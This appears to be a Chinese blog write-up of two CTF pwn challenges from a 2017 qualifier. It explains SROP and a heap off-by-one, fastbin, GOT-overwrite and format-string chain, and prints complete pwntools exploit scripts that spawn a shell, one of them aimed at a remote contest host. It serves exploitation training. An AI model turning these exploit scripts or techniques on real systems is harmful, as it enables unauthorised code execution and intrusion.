【pwn】2017-429预赛

前言

槽点:这次比赛。。敢不敢。。不放原题。。。做了半天的pwn2,结果是原题。。。 T T (题目来自hitcon 2016,好吧。。怪我没刷到这题。。

不过pwn1和pwn2收获都很大,特别记录下。

PWN1

pwn1很短很强悍~

用到了SROP技术,参考资料

elf文件非常小,只有几行指令。使用syscall 0 读取用户的输入至栈中。
我们虽然可以控制程序的执行流,但是我们没办法控制寄存器的数值。正常利用条件为:控制rax为59,控制rdi为“/bin/sh”字符串的地址,rip指向syscall。后来想了想,rax的数值可以通过输入的字符数来控制,那么现在我们已经可以控制syscall调用execute了,但是我们却不能控制rdi的数值,这里我们可以利用SROP的技术,对所有寄存器进行重新赋值,使rdi指向“/bin/sh”的地址。然而利用SROP需要以下几个条件。

第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;(√)

第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);(√
我们可以通过系统调用 1 write函数,进行栈空间信息泄露)

第三,需要知道syscall指令在内存中的地址(√);

第四,需要知道sigreturn系统调用的内存地址(我们可以利用系统调用号 15 调用该函数)。

因此条件全部满足的情况下,我们利用SROP技术将rdi覆写,那么我们就可以顺利执行 execve(“/bin/sh”,null.null);啦。(ps:需要注意的是,send过去的数据要有延迟,不然会认为是在一起的)exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-19 23:10:33
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils
from pwn import *
import time
context(log_level="debug",arch="amd64")
DEBUG = 0
target = "./smallest"
remote_ip = "106.75.61.55"
port = 20000
rop = roputils.ROP(target)
# bss = rop.section('.bss')
# rop.got('puts')
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
if DEBUG:
p = process(target)
# gdb.attach(p,"b*main\nc")
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
time.sleep(3)
p.send(data)
def ru(data):
return p.recvuntil(data)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = 0xdeadbeaf
frame.rsi = 0xdeadbeaf
frame.rdx = 0xdeadbeaf
frame.rsp = 0xdeadbeaf
frame.rip = 0x4000BE
raw_input()
# write
payload = p64(0x4000B0)+p64(0x4000B3)+p64(0x4000B0)
sd(payload)
sd("\xb3")
stack_addr = u64(p.recv(16)[8:16]) - 0x1000
print "stack_addr="+hex(stack_addr)
# frame
# call read into stack_addr
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = 0x4000BE
payload = p64(0x4000B0)
payload +=p64(0)+str(frame)
sd(payload)
# return
payload = p64(0x4000Be)
payload += "\x00"*(15-8)
sd(payload)
#frame
# write /bin/sh
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr+0x150
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = 0x4000Be
payload = p64(0x4000B0)
payload +=p64(0)+str(frame)
payload += "a"*(0x150-len(payload))+"/bin/sh\x00"
sd(payload)
# return
payload = p64(0x4000Be)
payload += "\x00"*(15-8)
sd(payload)
p.interactive()

pwn2

用到了很多姿势啊,台湾友人的pwn很强悍,hhhhhhh。

参考链接:http://w0lfzhang.me/2017/04/11/2016-HITCON-CTF-babyheap/

非常坑的一点是,在ubuntu16.04下,scanf操作会在heap区域生成最少0x410大小的chunk。。。如果不知道这一点,这题是没法做的。(一定要在ubuntu16.04环境下测试该题哦~

步骤:

1、利用scanf在heap区域生成0x1000大小的chunk,在末尾伪造chunk头,注意调整合适的size。我这边调整为0x70的 chunk size

2、利用null字节溢出导致虚表指针最低位字节变成00字节,指向我们伪造的fake chunk
(注意,fake chunk是位于0x18大小的chunk之前的,

3、free fake chunk 在下次new的时候,我们申请同样大小的chunk,会从fastbin中拿到我们刚才伪造的fake chunk,同时可以输入内容,覆盖虚表指针,导致任意地址写。。

4、我们可以利用2操作覆盖掉got表,修改exit为alarm,使我们可以重复利用1、2、3函数。

5、修改atoi为printf(这姿势第一次),然后通过格式化字符串泄露libc

6、再次覆写got ,将atoi改成system就好啦。。需要注意的是,printf返回值是他显示的字符数~

非常nice的一题pwn,收获很大~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# off-by-one
# fastbin attack
# overwrite got
# fmt
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-20 03:15:30
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
from pwn import *
context(log_level="debug")
DEBUG = 1
target = "./hiddenlove"
remote_ip = ""
port = 0
rop = ELF(target)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# bss = rop.section('.bss')
# rop.got('puts')
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
if DEBUG:
p = process(target)
#gdb.attach(p,"b*0x400B48\nb*0x400A1A\nc")
#gdb.attach(p,"b*0x4008f4\nc")
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
# stage 0
ru("t her feet\n")
sl("4")
ru("s for her?(Y/N)\n")
sd("a"*(0x1000-0x20)+p64(0)+p64(0x71))
## stage 1
ru("t her feet\n")
sl("1")
ru(" her(0~1000)\n")
sl(str(0x20))
ru("\n")
sd("a")
ru("\n")
sd("\x00"*8)
def edit(addr,data):
## stage 2
ru("t her feet\n")
sl("3")
## stage 3
ru("t her feet\n")
sl("1")
ru(" her(0~1000)\n")
sl(str(0x60))
ru("\n")
sd(p64(0)*4+p64(0x100)+p64(0)+p64(addr))
ru("\n")
sd("b")
# stage 4
ru("t her feet\n")
sl("2")
ru("lings\n")
sd(data)
payload = p64(rop.symbols["free"]+0x6)
payload +=p64(rop.symbols["puts"]+0x6)
payload +=p64(rop.symbols["__stack_chk_fail"]+0x6)
payload +=p64(rop.symbols["setbuf"]+0x6)
payload +=p64(rop.symbols["printf"]+0x6)
payload +=p64(rop.symbols["alarm"]+0x6)
payload +=p64(rop.symbols["read"]+0x6)
payload +=p64(rop.symbols["__libc_start_main"]+0x6)
payload +=p64(rop.symbols["malloc"]+0x6)
payload +=p64(rop.symbols["printf"]+0x6)# change atoi to printf (we can use fmt to leak address
payload +=p64(rop.symbols["__isoc99_scanf"]+0x6)
payload +=p64(rop.symbols["alarm"]+0x6) # change exit to alarm
edit(rop.got["free"],payload)
# leak
ru("feet\n")
sd("%7$s...."+p64(rop.got["puts"]))
puts_addr = u64(ru("...")[:6].ljust(8,"\x00"))# read(0,buf,0x10)
ru("feet\n")
sd("%7$s...."+p64(rop.got["printf"]))# dl_reslove change printf_got
printf_addr = u64(ru("...")[:6].ljust(8,"\x00"))
print "puts_addr="+hex(puts_addr)
print "printf_addr="+hex(printf_addr)
system_addr = puts_addr-(libc.symbols["puts"]-libc.symbols["system"])
print "system_addr="+hex(system_addr)
# change atoi to system
payload = p64(rop.symbols["free"]+0x6)
payload +=p64(rop.symbols["puts"]+0x6)
payload +=p64(rop.symbols["__stack_chk_fail"]+0x6)
payload +=p64(rop.symbols["setbuf"]+0x6)
payload +=p64(rop.symbols["printf"]+0x6)
payload +=p64(rop.symbols["alarm"]+0x6)
payload +=p64(rop.symbols["read"]+0x6)
payload +=p64(rop.symbols["__libc_start_main"]+0x6)
payload +=p64(rop.symbols["malloc"]+0x6)
payload +=p64(system_addr)# change atoi to printf (we can use fmt to leak address
payload +=p64(rop.symbols["__isoc99_scanf"]+0x6)
payload +=p64(rop.symbols["alarm"]+0x6) # change exit to alarm
sd("aa") # I have changed atoi to printf,so it return the number of my input chars
ru("lings\n")
sd(payload)
ru("feet\n")
sd("/bin/sh\x00")
p.interactive()
# it's a funny pwn ~~~

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
    1. 1.1. PWN1
    2. 1.2. pwn2
,
隐藏